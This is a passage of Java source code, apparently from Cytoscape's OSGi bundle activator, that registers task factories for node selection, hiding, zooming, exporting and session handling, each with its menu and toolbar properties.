invertSelectedNodesTaskFactoryProps.setProperty("enableFor","network"); invertSelectedNodesTaskFactoryProps.setProperty("preferredMenu","Select.Nodes"); invertSelectedNodesTaskFactoryProps.setProperty("menuGravity","1.0"); invertSelectedNodesTaskFactoryProps.setProperty("accelerator","cmd i"); invertSelectedNodesTaskFactoryProps.setProperty("title","Invert node selection"); invertSelectedNodesTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/invert_selection.png").toString()); invertSelectedNodesTaskFactoryProps.setProperty("inToolBar","true"); invertSelectedNodesTaskFactoryProps.setProperty("tooltip","Invert Node Selection"); registerService(bc,invertSelectedNodesTaskFactory,NetworkTaskFactory.class, invertSelectedNodesTaskFactoryProps); Properties selectFromFileListTaskFactoryProps = new Properties(); selectFromFileListTaskFactoryProps.setProperty("enableFor","network"); selectFromFileListTaskFactoryProps.setProperty("preferredMenu","Select.Nodes"); selectFromFileListTaskFactoryProps.setProperty("menuGravity","8.0"); selectFromFileListTaskFactoryProps.setProperty("accelerator","cmd i"); selectFromFileListTaskFactoryProps.setProperty("title","From ID List file..."); registerService(bc,selectFromFileListTaskFactory,NetworkTaskFactory.class, selectFromFileListTaskFactoryProps); Properties selectFirstNeighborsNodeViewTaskFactoryProps = new Properties(); selectFirstNeighborsNodeViewTaskFactoryProps.setProperty("title","Select First Neighbors (Undirected)"); registerService(bc,selectFirstNeighborsNodeViewTaskFactory,NodeViewTaskFactory.class, selectFirstNeighborsNodeViewTaskFactoryProps); Properties hideSelectedTaskFactoryProps = new Properties(); hideSelectedTaskFactoryProps.setProperty("enableFor","networkAndView"); hideSelectedTaskFactoryProps.setProperty("preferredMenu","Select"); hideSelectedTaskFactoryProps.setProperty("menuGravity","3.1"); hideSelectedTaskFactoryProps.setProperty("title","Hide selected nodes and edges"); hideSelectedTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/hide_selected.png").toString()); hideSelectedTaskFactoryProps.setProperty("inToolBar","true"); hideSelectedTaskFactoryProps.setProperty("tooltip","Hide Selected Nodes and Edges"); registerService(bc,hideSelectedTaskFactory,NetworkViewTaskFactory.class, hideSelectedTaskFactoryProps); Properties hideSelectedNodesTaskFactoryProps = new Properties(); hideSelectedNodesTaskFactoryProps.setProperty("enableFor","networkAndView"); hideSelectedNodesTaskFactoryProps.setProperty("preferredMenu","Select.Nodes"); hideSelectedNodesTaskFactoryProps.setProperty("menuGravity","2.0"); hideSelectedNodesTaskFactoryProps.setProperty("title","Hide selected nodes"); registerService(bc,hideSelectedNodesTaskFactory,NetworkViewTaskFactory.class, hideSelectedNodesTaskFactoryProps); Properties hideSelectedEdgesTaskFactoryProps = new Properties(); hideSelectedEdgesTaskFactoryProps.setProperty("enableFor","networkAndView"); hideSelectedEdgesTaskFactoryProps.setProperty("preferredMenu","Select.Edges"); hideSelectedEdgesTaskFactoryProps.setProperty("menuGravity","2.0"); hideSelectedEdgesTaskFactoryProps.setProperty("title","Hide selected edges"); registerService(bc,hideSelectedEdgesTaskFactory,NetworkViewTaskFactory.class, hideSelectedEdgesTaskFactoryProps); Properties unHideAllTaskFactoryProps = new Properties(); unHideAllTaskFactoryProps.setProperty("enableFor","networkAndView"); unHideAllTaskFactoryProps.setProperty("preferredMenu","Select"); unHideAllTaskFactoryProps.setProperty("menuGravity","3.0"); unHideAllTaskFactoryProps.setProperty("title","Show all nodes and edges"); unHideAllTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/unhide_all.png").toString()); unHideAllTaskFactoryProps.setProperty("inToolBar","true"); unHideAllTaskFactoryProps.setProperty("tooltip","Show All Nodes and Edges"); registerService(bc,unHideAllTaskFactory,NetworkViewTaskFactory.class, unHideAllTaskFactoryProps); Properties unHideAllNodesTaskFactoryProps = new Properties(); unHideAllNodesTaskFactoryProps.setProperty("enableFor","networkAndView"); unHideAllNodesTaskFactoryProps.setProperty("preferredMenu","Select.Nodes"); unHideAllNodesTaskFactoryProps.setProperty("menuGravity","3.0"); unHideAllNodesTaskFactoryProps.setProperty("title","Show all nodes"); registerService(bc,unHideAllNodesTaskFactory,NetworkViewTaskFactory.class, unHideAllNodesTaskFactoryProps); Properties unHideAllEdgesTaskFactoryProps = new Properties(); unHideAllEdgesTaskFactoryProps.setProperty("enableFor","networkAndView"); unHideAllEdgesTaskFactoryProps.setProperty("preferredMenu","Select.Edges"); unHideAllEdgesTaskFactoryProps.setProperty("menuGravity","3.0"); unHideAllEdgesTaskFactoryProps.setProperty("title","Show all edges"); registerService(bc,unHideAllEdgesTaskFactory,NetworkViewTaskFactory.class, unHideAllEdgesTaskFactoryProps); Properties newEmptyNetworkTaskFactoryProps = new Properties(); newEmptyNetworkTaskFactoryProps.setProperty("preferredMenu","File.New.Network"); newEmptyNetworkTaskFactoryProps.setProperty("menuGravity","4.0"); newEmptyNetworkTaskFactoryProps.setProperty("title","Empty Network"); registerService(bc,newEmptyNetworkTaskFactory,TaskFactory.class, newEmptyNetworkTaskFactoryProps); registerService(bc,newEmptyNetworkTaskFactory,NewEmptyNetworkViewFactory.class, newEmptyNetworkTaskFactoryProps); Properties newNetworkSelectedNodesEdgesTaskFactoryProps = new Properties(); newNetworkSelectedNodesEdgesTaskFactoryProps.setProperty("enableFor","selectedNodesOrEdges"); newNetworkSelectedNodesEdgesTaskFactoryProps.setProperty("preferredMenu","File.New.Network"); newNetworkSelectedNodesEdgesTaskFactoryProps.setProperty("menuGravity","2.0"); newNetworkSelectedNodesEdgesTaskFactoryProps.setProperty("accelerator","cmd shift n"); newNetworkSelectedNodesEdgesTaskFactoryProps.setProperty("title","From selected nodes, selected edges"); registerService(bc,newNetworkSelectedNodesEdgesTaskFactory,NetworkTaskFactory.class, newNetworkSelectedNodesEdgesTaskFactoryProps); Properties newNetworkSelectedNodesOnlyTaskFactoryProps = new Properties(); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("preferredMenu","File.New.Network"); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/new_fromselected.png").toString()); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("accelerator","cmd n"); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("enableFor","selectedNodesOrEdges"); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("title","From selected nodes, all edges"); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("toolBarGravity","9.1"); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("inToolBar","true"); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("menuGravity","1.0"); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("tooltip","New Network From Selection"); registerService(bc,newNetworkSelectedNodesOnlyTaskFactory,NetworkTaskFactory.class, newNetworkSelectedNodesOnlyTaskFactoryProps); Properties cloneNetworkTaskFactoryProps = new Properties(); cloneNetworkTaskFactoryProps.setProperty("enableFor","network"); cloneNetworkTaskFactoryProps.setProperty("preferredMenu","File.New.Network"); cloneNetworkTaskFactoryProps.setProperty("menuGravity","3.0"); cloneNetworkTaskFactoryProps.setProperty("title","Clone Current Network"); registerService(bc,cloneNetworkTaskFactory,NetworkTaskFactory.class, cloneNetworkTaskFactoryProps); Properties destroyNetworkTaskFactoryProps = new Properties(); destroyNetworkTaskFactoryProps.setProperty("preferredMenu","Edit"); destroyNetworkTaskFactoryProps.setProperty("accelerator","cmd shift w"); destroyNetworkTaskFactoryProps.setProperty("enableFor","network"); destroyNetworkTaskFactoryProps.setProperty("title","Destroy Network"); destroyNetworkTaskFactoryProps.setProperty("scope","limited"); destroyNetworkTaskFactoryProps.setProperty("menuGravity","3.2"); registerService(bc,destroyNetworkTaskFactory,NetworkCollectionTaskFactory.class, destroyNetworkTaskFactoryProps); Properties destroyNetworkViewTaskFactoryProps = new Properties(); destroyNetworkViewTaskFactoryProps.setProperty("preferredMenu","Edit"); destroyNetworkViewTaskFactoryProps.setProperty("accelerator","cmd w"); destroyNetworkViewTaskFactoryProps.setProperty("enableFor","networkAndView"); destroyNetworkViewTaskFactoryProps.setProperty("title","Destroy View"); destroyNetworkViewTaskFactoryProps.setProperty("scope","limited"); destroyNetworkViewTaskFactoryProps.setProperty("menuGravity","3.1"); registerService(bc,destroyNetworkViewTaskFactory,NetworkViewCollectionTaskFactory.class, destroyNetworkViewTaskFactoryProps); Properties zoomInTaskFactoryProps = new Properties(); zoomInTaskFactoryProps.setProperty("accelerator","cmd equals"); zoomInTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/stock_zoom-in.png").toString()); zoomInTaskFactoryProps.setProperty("enableFor","networkAndView"); zoomInTaskFactoryProps.setProperty("title","Zoom In"); zoomInTaskFactoryProps.setProperty("tooltip","Zoom In"); zoomInTaskFactoryProps.setProperty("toolBarGravity","3.1"); zoomInTaskFactoryProps.setProperty("inToolBar","true"); registerService(bc,zoomInTaskFactory,NetworkViewTaskFactory.class, zoomInTaskFactoryProps); Properties zoomOutTaskFactoryProps = new Properties(); zoomOutTaskFactoryProps.setProperty("accelerator","cmd minus"); zoomOutTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/stock_zoom-out.png").toString()); zoomOutTaskFactoryProps.setProperty("enableFor","networkAndView"); zoomOutTaskFactoryProps.setProperty("title","Zoom Out"); zoomOutTaskFactoryProps.setProperty("tooltip","Zoom Out"); zoomOutTaskFactoryProps.setProperty("toolBarGravity","3.2"); zoomOutTaskFactoryProps.setProperty("inToolBar","true"); registerService(bc,zoomOutTaskFactory,NetworkViewTaskFactory.class, zoomOutTaskFactoryProps); Properties fitSelectedTaskFactoryProps = new Properties(); fitSelectedTaskFactoryProps.setProperty("accelerator","cmd shift f"); fitSelectedTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/stock_zoom-object.png").toString()); fitSelectedTaskFactoryProps.setProperty("enableFor","networkAndView"); fitSelectedTaskFactoryProps.setProperty("title","Fit Selected"); fitSelectedTaskFactoryProps.setProperty("tooltip","Zoom selected region"); fitSelectedTaskFactoryProps.setProperty("toolBarGravity","3.4"); fitSelectedTaskFactoryProps.setProperty("inToolBar","true"); registerService(bc,fitSelectedTaskFactory,NetworkViewTaskFactory.class, fitSelectedTaskFactoryProps); Properties fitContentTaskFactoryProps = new Properties(); fitContentTaskFactoryProps.setProperty("accelerator","cmd f"); fitContentTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/stock_zoom-1.png").toString()); fitContentTaskFactoryProps.setProperty("enableFor","networkAndView"); fitContentTaskFactoryProps.setProperty("title","Fit Content"); fitContentTaskFactoryProps.setProperty("tooltip","Zoom out to display all of current Network"); fitContentTaskFactoryProps.setProperty("toolBarGravity","3.3"); fitContentTaskFactoryProps.setProperty("inToolBar","true"); registerService(bc,fitContentTaskFactory,NetworkViewTaskFactory.class, fitContentTaskFactoryProps); Properties editNetworkTitleTaskFactoryProps = new Properties(); editNetworkTitleTaskFactoryProps.setProperty("enableFor","network"); editNetworkTitleTaskFactoryProps.setProperty("preferredMenu","Edit"); editNetworkTitleTaskFactoryProps.setProperty("scope","limited"); editNetworkTitleTaskFactoryProps.setProperty("menuGravity","5.5"); editNetworkTitleTaskFactoryProps.setProperty("title","Network Title..."); registerService(bc,editNetworkTitleTaskFactory,NetworkTaskFactory.class, editNetworkTitleTaskFactoryProps); Properties createNetworkViewTaskFactoryProps = new Properties(); createNetworkViewTaskFactoryProps.setProperty("enableFor","networkWithoutView"); createNetworkViewTaskFactoryProps.setProperty("preferredMenu","Edit"); createNetworkViewTaskFactoryProps.setProperty("scope","limited"); createNetworkViewTaskFactoryProps.setProperty("menuGravity","3.0"); createNetworkViewTaskFactoryProps.setProperty("title","Create View"); registerService(bc,createNetworkViewTaskFactory,NetworkTaskFactory.class, createNetworkViewTaskFactoryProps); Properties exportNetworkImageTaskFactoryProps = new Properties(); exportNetworkImageTaskFactoryProps.setProperty("preferredMenu","File.Export.Network View"); exportNetworkImageTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/img_file_export.png").toString()); exportNetworkImageTaskFactoryProps.setProperty("enableFor","networkAndView"); exportNetworkImageTaskFactoryProps.setProperty("title","Graphics"); exportNetworkImageTaskFactoryProps.setProperty("toolBarGravity","5.0"); exportNetworkImageTaskFactoryProps.setProperty("inToolBar","true"); exportNetworkImageTaskFactoryProps.setProperty("tooltip","Export Network Image to File"); registerService(bc,exportNetworkImageTaskFactory,NetworkViewTaskFactory.class, exportNetworkImageTaskFactoryProps); Properties exportNetworkViewTaskFactoryProps = new Properties(); exportNetworkViewTaskFactoryProps.setProperty("enableFor","networkAndView"); exportNetworkViewTaskFactoryProps.setProperty("preferredMenu","File.Export.Network View"); exportNetworkViewTaskFactoryProps.setProperty("menuGravity","5.1"); exportNetworkViewTaskFactoryProps.setProperty("title","File"); exportNetworkViewTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/net_file_export.png").toString()); exportNetworkViewTaskFactoryProps.setProperty("inToolBar","true"); exportNetworkViewTaskFactoryProps.setProperty("tooltip","Export Network to File"); registerService(bc,exportNetworkViewTaskFactory,NetworkViewTaskFactory.class, exportNetworkViewTaskFactoryProps); Properties exportNodeTableTaskFactoryProps = new Properties(); exportNodeTableTaskFactoryProps.setProperty("enableFor","networkAndView"); exportNodeTableTaskFactoryProps.setProperty("preferredMenu","File.Export.Node Attributes"); exportNodeTableTaskFactoryProps.setProperty("menuGravity","1.0"); exportNodeTableTaskFactoryProps.setProperty("title","File..."); registerService(bc,exportNodeTableTaskFactory,NetworkViewTaskFactory.class, exportNodeTableTaskFactoryProps); Properties exportEdgeTableTaskFactoryProps = new Properties(); exportEdgeTableTaskFactoryProps.setProperty("enableFor","networkAndView"); exportEdgeTableTaskFactoryProps.setProperty("preferredMenu","File.Export.Edge Attributes"); exportEdgeTableTaskFactoryProps.setProperty("menuGravity","1.1"); exportEdgeTableTaskFactoryProps.setProperty("title","File..."); registerService(bc,exportEdgeTableTaskFactory,NetworkViewTaskFactory.class, exportEdgeTableTaskFactoryProps); Properties exportCurrentTableTaskFactoryProps = new Properties(); exportCurrentTableTaskFactoryProps.setProperty("enableFor","table"); exportCurrentTableTaskFactoryProps.setProperty("preferredMenu","File.Export.Table"); exportCurrentTableTaskFactoryProps.setProperty("menuGravity","1.2"); exportCurrentTableTaskFactoryProps.setProperty("title","File..."); exportCurrentTableTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/table_file_export.png").toString()); exportCurrentTableTaskFactoryProps.setProperty("inToolBar","true"); exportCurrentTableTaskFactoryProps.setProperty("tooltip","Export Table to File"); registerService(bc,exportCurrentTableTaskFactory,TableTaskFactory.class, exportCurrentTableTaskFactoryProps); Properties exportVizmapTaskFactoryProps = new Properties(); exportVizmapTaskFactoryProps.setProperty("enableFor","vizmap"); exportVizmapTaskFactoryProps.setProperty("preferredMenu","File.Export.Vizmap"); exportVizmapTaskFactoryProps.setProperty("menuGravity","1.1"); exportVizmapTaskFactoryProps.setProperty("title","File..."); registerService(bc,exportVizmapTaskFactory,TaskFactory.class, exportVizmapTaskFactoryProps); Properties newSessionTaskFactoryProps = new Properties(); newSessionTaskFactoryProps.setProperty("preferredMenu","File.New"); newSessionTaskFactoryProps.setProperty("menuGravity","1.1"); newSessionTaskFactoryProps.setProperty("title","Session"); registerService(bc,newSessionTaskFactory,TaskFactory.class, newSessionTaskFactoryProps); Properties openSessionTaskFactoryProps = new Properties(); openSessionTaskFactoryProps.setProperty("preferredMenu","File"); openSessionTaskFactoryProps.setProperty("accelerator","cmd o"); openSessionTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/open_session.png").toString()); openSessionTaskFactoryProps.setProperty("title","Open"); openSessionTaskFactoryProps.setProperty("toolBarGravity","1.0"); openSessionTaskFactoryProps.setProperty("inToolBar","true"); openSessionTaskFactoryProps.setProperty("menuGravity","1.0"); openSessionTaskFactoryProps.setProperty("tooltip","Open Session"); registerService(bc,openSessionTaskFactory,TaskFactory.class, openSessionTaskFactoryProps); Properties saveSessionTaskFactoryProps = new Properties(); saveSessionTaskFactoryProps.setProperty("preferredMenu","File"); saveSessionTaskFactoryProps.setProperty("accelerator","cmd s"); saveSessionTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/stock_save.png").toString()); saveSessionTaskFactoryProps.setProperty("title","Save"); saveSessionTaskFactoryProps.setProperty("toolBarGravity","1.1"); saveSessionTaskFactoryProps.setProperty("inToolBar","true"); saveSessionTaskFactoryProps.setProperty("menuGravity","3.0"); saveSessionTaskFactoryProps.setProperty("tooltip","Save Session"); registerService(bc,saveSessionTaskFactory,TaskFactory.class, saveSessionTaskFactoryProps); Properties saveSessionAsTaskFactoryProps = new Properties(); saveSessionAsTaskFactoryProps.setProperty("preferredMenu","File"); saveSessionAsTaskFactoryProps.setProperty("accelerator","cmd shift s"); saveSessionAsTaskFactoryProps.setProperty("menuGravity","3.1"); saveSessionAsTaskFactoryProps.setProperty("title","Save As"); registerService(bc,saveSessionAsTaskFactory,TaskFactory.class, saveSessionAsTaskFactoryProps); Properties applyPreferredLayoutTaskFactoryProps = new Properties(); applyPreferredLayoutTaskFactoryProps.setProperty("preferredMenu","Layout"); applyPreferredLayoutTaskFactoryProps.setProperty("accelerator","fn5"); applyPreferredLayoutTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/apply_layout.png").toString()); applyPreferredLayoutTaskFactoryProps.setProperty("enableFor","networkAndView"); applyPreferredLayoutTaskFactoryProps.setProperty("title","Apply Preferred Layout"); applyPreferredLayoutTaskFactoryProps.setProperty("toolBarGravity","9.0"); applyPreferredLayoutTaskFactoryProps.setProperty("inToolBar","true"); applyPreferredLayoutTaskFactoryProps.setProperty("menuGravity","5.0"); applyPreferredLayoutTaskFactoryProps.setProperty("tooltip","Apply Preferred Layout"); registerService(bc,applyPreferredLayoutTaskFactory,NetworkViewTaskFactory.class, applyPreferredLayoutTaskFactoryProps); Properties deleteColumnTaskFactoryProps = new Properties(); deleteColumnTaskFactoryProps.setProperty("title","Delete column"); registerService(bc,deleteColumnTaskFactory,TableColumnTaskFactory.class, deleteColumnTaskFactoryProps); Properties renameColumnTaskFactoryProps = new Properties(); renameColumnTaskFactoryProps.setProperty("title","Rename column"); registerService(bc,renameColumnTaskFactory,TableColumnTaskFactory.class, renameColumnTaskFactoryProps); Properties copyValueToEntireColumnTaskFactoryProps = new Properties(); copyValueToEntireColumnTaskFactoryProps.setProperty("title","Copy to entire column"); registerService(bc,copyValueToEntireColumnTaskFactory,TableCellTaskFactory.class, copyValueToEntireColumnTaskFactoryProps); registerService(bc,deleteTableTaskFactory,TableTaskFactory.class, new Properties()); Properties quickStartTaskFactoryProps = new Properties(); quickStartTaskFactoryProps.setProperty("scope","startup"); quickStartTaskFactoryProps.setProperty("title","QuickStart"); registerService(bc,quickStartTaskFactory,TaskFactory.class, quickStartTaskFactoryProps); Properties welcomeTaskFactoryProps = new Properties(); welcomeTaskFactoryProps.setProperty("scope","startup"); welcomeTaskFactoryProps.setProperty("title","Welcome Screen"); welcomeTaskFactoryProps.setProperty("id","WelcomeScreen"); registerService(bc,welcomeTaskFactory,TaskFactory.class, welcomeTaskFactoryProps); registerAllServices(bc,bioGridPreprocessor, new Properties()); Properties connectSelectedNodesTaskFactoryProps = new Properties(); connectSelectedNodesTaskFactoryProps.setProperty("preferredMenu","Select.Nodes"); connectSelectedNodesTaskFactoryProps.setProperty("enableFor","network"); connectSelectedNodesTaskFactoryProps.setProperty("toolBarGravity","2.5"); connectSelectedNodesTaskFactoryProps.setProperty("title","Connect Selected Nodes"); registerService(bc,connectSelectedNodesTaskFactory,TaskFactory.class, connectSelectedNodesTaskFactoryProps); registerServiceListener(bc,importTaskUtil,"addProcessor","removeProcessor",InteractionFilePreprocessor.class); registerServiceListener(bc,subnetworkBuilderUtil,"addProcessor","removeProcessor",InteractionFilePreprocessor.class); registerServiceListener(bc,subnetworkBuilderUtil,"addFactory","removeFactory",VisualMappingFunctionFactory.class); //ShowWelcomeScreenTask ws = new ShowWelcomeScreenTask(); //registerAllServices(bc, ws, new Properties()); }
public void start(BundleContext bc) { OpenBrowser openBrowserServiceRef = getService(bc,OpenBrowser.class); CyEventHelper cyEventHelperRef = getService(bc,CyEventHelper.class); CyApplicationConfiguration cyApplicationConfigurationServiceRef = getService(bc,CyApplicationConfiguration.class); RecentlyOpenedTracker recentlyOpenedTrackerServiceRef = getService(bc,RecentlyOpenedTracker.class); CyNetworkNaming cyNetworkNamingServiceRef = getService(bc,CyNetworkNaming.class); UndoSupport undoSupportServiceRef = getService(bc,UndoSupport.class); CyNetworkViewFactory cyNetworkViewFactoryServiceRef = getService(bc,CyNetworkViewFactory.class); CyNetworkFactory cyNetworkFactoryServiceRef = getService(bc,CyNetworkFactory.class); CyRootNetworkManager cyRootNetworkFactoryServiceRef = getService(bc,CyRootNetworkManager.class); CyNetworkReaderManager cyNetworkReaderManagerServiceRef = getService(bc,CyNetworkReaderManager.class); CyTableReaderManager cyDataTableReaderManagerServiceRef = getService(bc,CyTableReaderManager.class); VizmapReaderManager vizmapReaderManagerServiceRef = getService(bc,VizmapReaderManager.class); VisualMappingManager visualMappingManagerServiceRef = getService(bc,VisualMappingManager.class); VisualStyleFactory visualStyleFactoryServiceRef = getService(bc,VisualStyleFactory.class); StreamUtil streamUtilRef = getService(bc,StreamUtil.class); TaskManager taskManagerServiceRef = getService(bc,TaskManager.class); PresentationWriterManager viewWriterManagerServiceRef = getService(bc,PresentationWriterManager.class); CyNetworkViewWriterManager networkViewWriterManagerServiceRef = getService(bc,CyNetworkViewWriterManager.class); VizmapWriterManager vizmapWriterManagerServiceRef = getService(bc,VizmapWriterManager.class); CySessionWriterManager sessionWriterManagerServiceRef = getService(bc,CySessionWriterManager.class); CySessionReaderManager sessionReaderManagerServiceRef = getService(bc,CySessionReaderManager.class); CyNetworkManager cyNetworkManagerServiceRef = getService(bc,CyNetworkManager.class); CyNetworkViewManager cyNetworkViewManagerServiceRef = getService(bc,CyNetworkViewManager.class); CyApplicationManager cyApplicationManagerServiceRef = getService(bc,CyApplicationManager.class); CySessionManager cySessionManagerServiceRef = getService(bc,CySessionManager.class); CyProperty cyPropertyServiceRef = getService(bc,CyProperty.class,"(cyPropertyName=cytoscape3.props)"); CyTableManager cyTableManagerServiceRef = getService(bc,CyTableManager.class); RenderingEngineManager renderingEngineManagerServiceRef = getService(bc,RenderingEngineManager.class); CyLayoutAlgorithmManager cyLayoutsServiceRef = getService(bc,CyLayoutAlgorithmManager.class); CyTableWriterManager cyTableWriterManagerRef = getService(bc,CyTableWriterManager.class); SynchronousTaskManager synchronousTaskManagerServiceRef = getService(bc,SynchronousTaskManager.class); LoadAttributesFileTaskFactoryImpl loadAttrsFileTaskFactory = new LoadAttributesFileTaskFactoryImpl(cyDataTableReaderManagerServiceRef,cyTableManagerServiceRef); LoadAttributesURLTaskFactoryImpl loadAttrsURLTaskFactory = new LoadAttributesURLTaskFactoryImpl(cyDataTableReaderManagerServiceRef,cyTableManagerServiceRef); LoadVizmapFileTaskFactoryImpl loadVizmapFileTaskFactory = new LoadVizmapFileTaskFactoryImpl(vizmapReaderManagerServiceRef,visualMappingManagerServiceRef,synchronousTaskManagerServiceRef); LoadNetworkFileTaskFactoryImpl loadNetworkFileTaskFactory = new LoadNetworkFileTaskFactoryImpl(cyNetworkReaderManagerServiceRef,cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,cyPropertyServiceRef,cyNetworkNamingServiceRef); LoadNetworkURLTaskFactoryImpl loadNetworkURLTaskFactory = new LoadNetworkURLTaskFactoryImpl(cyNetworkReaderManagerServiceRef,cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,cyPropertyServiceRef,cyNetworkNamingServiceRef,streamUtilRef); SetCurrentNetworkTaskFactoryImpl setCurrentNetworkTaskFactory = new SetCurrentNetworkTaskFactoryImpl(cyApplicationManagerServiceRef,cyNetworkManagerServiceRef); DeleteSelectedNodesAndEdgesTaskFactory deleteSelectedNodesAndEdgesTaskFactory = new DeleteSelectedNodesAndEdgesTaskFactory(undoSupportServiceRef,cyApplicationManagerServiceRef,cyNetworkViewManagerServiceRef,visualMappingManagerServiceRef,cyEventHelperRef); SelectAllTaskFactory selectAllTaskFactory = new SelectAllTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); SelectAllEdgesTaskFactory selectAllEdgesTaskFactory = new SelectAllEdgesTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); SelectAllNodesTaskFactory selectAllNodesTaskFactory = new SelectAllNodesTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); SelectAdjacentEdgesTaskFactory selectAdjacentEdgesTaskFactory = new SelectAdjacentEdgesTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); SelectConnectedNodesTaskFactory selectConnectedNodesTaskFactory = new SelectConnectedNodesTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); SelectFirstNeighborsTaskFactory selectFirstNeighborsTaskFactory = new SelectFirstNeighborsTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef, CyEdge.Type.ANY); SelectFirstNeighborsTaskFactory selectFirstNeighborsTaskFactoryInEdge = new SelectFirstNeighborsTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef, CyEdge.Type.INCOMING); SelectFirstNeighborsTaskFactory selectFirstNeighborsTaskFactoryOutEdge = new SelectFirstNeighborsTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef, CyEdge.Type.OUTGOING); DeselectAllTaskFactory deselectAllTaskFactory = new DeselectAllTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); DeselectAllEdgesTaskFactory deselectAllEdgesTaskFactory = new DeselectAllEdgesTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); DeselectAllNodesTaskFactory deselectAllNodesTaskFactory = new DeselectAllNodesTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); InvertSelectedEdgesTaskFactory invertSelectedEdgesTaskFactory = new InvertSelectedEdgesTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); InvertSelectedNodesTaskFactory invertSelectedNodesTaskFactory = new InvertSelectedNodesTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); SelectFromFileListTaskFactory selectFromFileListTaskFactory = new SelectFromFileListTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); SelectFirstNeighborsNodeViewTaskFactory selectFirstNeighborsNodeViewTaskFactory = new SelectFirstNeighborsNodeViewTaskFactory(CyEdge.Type.ANY); HideSelectedTaskFactory hideSelectedTaskFactory = new HideSelectedTaskFactory(undoSupportServiceRef,cyEventHelperRef); HideSelectedNodesTaskFactory hideSelectedNodesTaskFactory = new HideSelectedNodesTaskFactory(undoSupportServiceRef,cyEventHelperRef); HideSelectedEdgesTaskFactory hideSelectedEdgesTaskFactory = new HideSelectedEdgesTaskFactory(undoSupportServiceRef,cyEventHelperRef); UnHideAllTaskFactory unHideAllTaskFactory = new UnHideAllTaskFactory(undoSupportServiceRef,cyEventHelperRef); UnHideAllNodesTaskFactory unHideAllNodesTaskFactory = new UnHideAllNodesTaskFactory(undoSupportServiceRef,cyEventHelperRef); UnHideAllEdgesTaskFactory unHideAllEdgesTaskFactory = new UnHideAllEdgesTaskFactory(undoSupportServiceRef,cyEventHelperRef); NewEmptyNetworkTaskFactory newEmptyNetworkTaskFactory = new NewEmptyNetworkTaskFactory(cyNetworkFactoryServiceRef,cyNetworkViewFactoryServiceRef,cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,cyNetworkNamingServiceRef,synchronousTaskManagerServiceRef); CloneNetworkTaskFactory cloneNetworkTaskFactory = new CloneNetworkTaskFactory(cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,visualMappingManagerServiceRef,cyNetworkFactoryServiceRef,cyNetworkViewFactoryServiceRef,cyNetworkNamingServiceRef,cyEventHelperRef); NewNetworkSelectedNodesEdgesTaskFactory newNetworkSelectedNodesEdgesTaskFactory = new NewNetworkSelectedNodesEdgesTaskFactory(undoSupportServiceRef,cyRootNetworkFactoryServiceRef,cyNetworkViewFactoryServiceRef,cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,cyNetworkNamingServiceRef,visualMappingManagerServiceRef,cyApplicationManagerServiceRef,cyEventHelperRef); NewNetworkSelectedNodesOnlyTaskFactory newNetworkSelectedNodesOnlyTaskFactory = new NewNetworkSelectedNodesOnlyTaskFactory(undoSupportServiceRef,cyRootNetworkFactoryServiceRef,cyNetworkViewFactoryServiceRef,cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,cyNetworkNamingServiceRef,visualMappingManagerServiceRef,cyApplicationManagerServiceRef,cyEventHelperRef); DestroyNetworkTaskFactory destroyNetworkTaskFactory = new DestroyNetworkTaskFactory(cyNetworkManagerServiceRef); DestroyNetworkViewTaskFactory destroyNetworkViewTaskFactory = new DestroyNetworkViewTaskFactory(cyNetworkViewManagerServiceRef); ZoomInTaskFactory zoomInTaskFactory = new ZoomInTaskFactory(undoSupportServiceRef); ZoomOutTaskFactory zoomOutTaskFactory = new ZoomOutTaskFactory(undoSupportServiceRef); FitSelectedTaskFactory fitSelectedTaskFactory = new FitSelectedTaskFactory(undoSupportServiceRef); FitContentTaskFactory fitContentTaskFactory = new 